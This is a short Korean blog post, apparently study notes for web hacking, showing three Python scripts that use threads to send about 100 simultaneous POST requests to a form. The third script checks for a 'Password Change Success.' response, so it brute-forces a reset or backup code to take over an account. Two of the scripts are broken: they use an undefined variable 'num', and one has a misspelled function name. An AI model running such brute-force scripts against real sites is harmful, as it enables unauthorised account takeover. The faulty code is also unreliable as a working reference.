본문 바로가기

Python 쓰레드로 한번에 웹에 requests로 브루트포싱하기

import requests
from concurrent.futures import ThreadPoolExecutor

url="input URL"

def exploit(num):
    return requests.post(url,data={"form1":"1234","form2":"1234","form3":num})

val=[i for i in range(0,101)]

with ThreadPoolExecutor(max_workers=100) as executor:
    results=list(executor.map(exploit,val))
    for i in results:
        print(i)

 

import requests
import threading

url="input URL"

for i in range(100):
    params = {"form1":"1234","form2":"1234","form3":num}
    print(params)
    th = threading.Thread(target=requests.post, args=(url, params))
    th.start()

 

import requests
import threading

URL = "input URL"
success_message = "Password Change Success."

def expolit(backupCode):
    data = {"form1":"1234","form2":"1234","form3":num}
    response = requests.post(URL,data=data)
    if success_message in response.text:
        print(response.text)

for i in range(100):
    t = threading.Thread(target=exploit,args=(i,))
    t.start()

요건 두번쨰랑 비슷하지만 소스가 깔끔해서 가져왔습니다.

 

 

출처-https://codethief.io/ko/sending-simultaneous-requests-using-python/

 

'' 카테고리의 다른 글

python flask debugger pin취약점 문제  (0) 2022.06.08
Blind OS Command Injection  (1) 2022.05.27
SSRF localhost, 127.0.0.1 bypass  (2) 2022.05.25
MongoDB_Injection  (0) 2022.05.24
Turbo Intruder에서 word list를 못 찾아올때  (0) 2020.08.06